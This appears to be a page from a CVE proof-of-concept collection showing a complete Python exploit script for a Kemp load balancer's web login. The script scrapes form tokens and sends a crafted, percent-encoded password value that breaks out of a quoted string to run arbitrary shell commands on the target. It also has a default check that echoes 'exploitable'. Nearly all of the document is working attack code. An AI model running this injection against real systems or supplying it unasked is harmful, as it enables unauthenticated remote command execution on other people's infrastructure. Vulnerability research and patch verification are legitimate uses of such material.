4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / KempExploit.py PY
# Copyright 2025 Steven Johnson
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

#!/usr/bin/env python3

import requests
import urllib3
import argparse
import textwrap
from bs4 import BeautifulSoup
from logging import exception
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



parser = argparse.ArgumentParser("python3 KempExploit.py -i 127.0.0.1\nOptional arguments include --port, --secure, and --verbose")
parser.add_argument("-i", "--ip", required=True, help="The URL of the web page")
parser.add_argument("-y", "--yes", default=False, action='store_true', help="Run script without asking questions")
parser.add_argument("-p", "--port", required=False, help="The port of the web page")
parser.add_argument("-s", "--secure", action="store_true", help="Enable HTTPS", default=True)
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
parser.add_argument("-c", "--command", required=False, help="The command to run")
arguments = parser.parse_args()

if arguments.secure == True:
    base_connection_type = "https://"
    if arguments.port == None:
        base_port = 443
    else:
        base_port = arguments.port
else:
    base_connection_type = "http://"
    if arguments.port == None:
        base_port = 80
    else:
        base_port = arguments.port

base_url = arguments.ip


# Set a default command if none is specified. This command echos "exploitable" in the response.
base_command_encoded = "%01%78%78%78%27%3b%65%63%68%6f%20%65%78%70%6c%6f%69%74%61%62%6c%65%3b%65%63%68%6f%20%27%01"

def process_string(input_str):
    # Step 1: Append '; to the front and ';echo ' to the command
    modified_str = '\';' + input_str + ';echo \''
    
    # Step 2: Make sure the length is divisible by 4
    while len(modified_str) % 4 != 0:
        modified_str = 'x' + modified_str  # Add 'x' to the front
    
    # Step 3: Convert each character to its ASCII value, prefixed by %
    ascii_encoded = ''.join([f'%{ord(char):x}' for char in modified_str])

    # Step 4: Append %01 to the beginning and end
    final_str = f'%01{ascii_encoded}%01'
    
    return final_str

if not arguments.yes:
    if not arguments.command:
        input_string = input("Enter your shell command to send or leave blank to test: ")
    else:
        input_string = arguments.command
    if input_string != "":
        command_encoded = process_string(input_string)
    else:
        command_encoded = base_command_encoded
else:
    if not arguments.command:
        command_encoded = base_command_encoded
    else:
        command_encoded = process_string(arguments.command)
    input_string = ""

# Step 1: GET request to /progs/homepage to pull tokens
homepage_url = f"{base_connection_type}{base_url}:{base_port}/progs/homepage"
try:
    session = requests.Session()
    response = session.get(homepage_url, verify=False)
except requests.exceptions.RequestException as e:
    print(f"Connection failed. Check your URL, port, or SSL connection.\nThe error was: {e}")
    exit(3)
except Exception as e:
    print(f"An unknown error occurred.\nThe error was: {e}")
    exit(3)

if response.status_code != 200:
    print(f"Failed to load homepage: {response.status_code}")
    print(f"Are we sure {base_connection_type}{base_url}:{base_port}/progs/homepage is reachable?")
    exit(1)

# Step 2: Parse HTML and extract tokens
soup = BeautifulSoup(response.text, 'html.parser')
form = soup.find('form')
token = form.find('input', {'name': 'token'})['value']
token2 = form.find('input', {'name': 'token2'})['value']

if not arguments.yes:
    proceedVerify = input("It looks like I found a target and some tokens. Do you want to proceed? [y/N]")
else:
    proceedVerify = "y"
if proceedVerify != "y":
    print("No action taken, exiting...")
    proceedVerify = "N"
    exit(0)

if not arguments.yes:
    if input_string != "":
        print("Running the command " + input_string)
        print("The encoded command looks like: " + command_encoded)

# Step 3: Send POST request to /progs/status/login
login_url = f"{base_connection_type}{base_url}:{base_port}/progs/status/login"
#payload = {
#    'token': token,
#    'token2': token2,
#    'user': 'pwn',
#    'logsub': 'Login',
#    'pass': command_encoded
#}
# TIL: Passing a dict in session.post URL encodes command_encoded creating a double-encoding issue!

payload = f"token={token}&token2={token2}&logsub=Login&user=pwn&pass={command_encoded}"

def print_roundtrip(roundtrip_response, *args, **kwargs):
    format_headers = lambda d: '\n'.join(f'{k}: {v}' for k, v in d.items())
    if arguments.verbose:
        print(textwrap.dedent('''
            ---------------- request ----------------
            {req.method} {req.url}
            {reqhdrs}
    
            {req.body}
            ---------------- response ----------------
            {res.status_code} {res.reason} {res.url}
            {reshdrs}
    
            {res.text}
        ''').format(
            req=roundtrip_response.request,
            res=roundtrip_response,
            reqhdrs=format_headers(roundtrip_response.request.headers),
            reshdrs=format_headers(roundtrip_response.headers),
        ))

login_response = session.post(login_url, data=payload, verify=False , hooks={'response': print_roundtrip})

# Output the result
print(f"Login POST status code: {login_response.status_code}")
if arguments.command:
    print(f"The command {input_string} sent successfully. Use --verbose to see complete output.")
    exit(0)
if input_string != "":
    print(f"The command {input_string} sent successfully. Use --verbose to see complete output.")
else:
    if "exploitable" in login_response.text:
        print("✅ 'exploitable' found in response, server confirmed vulnerable.")
    else:
        print("❌ 'exploitable' not found in response.")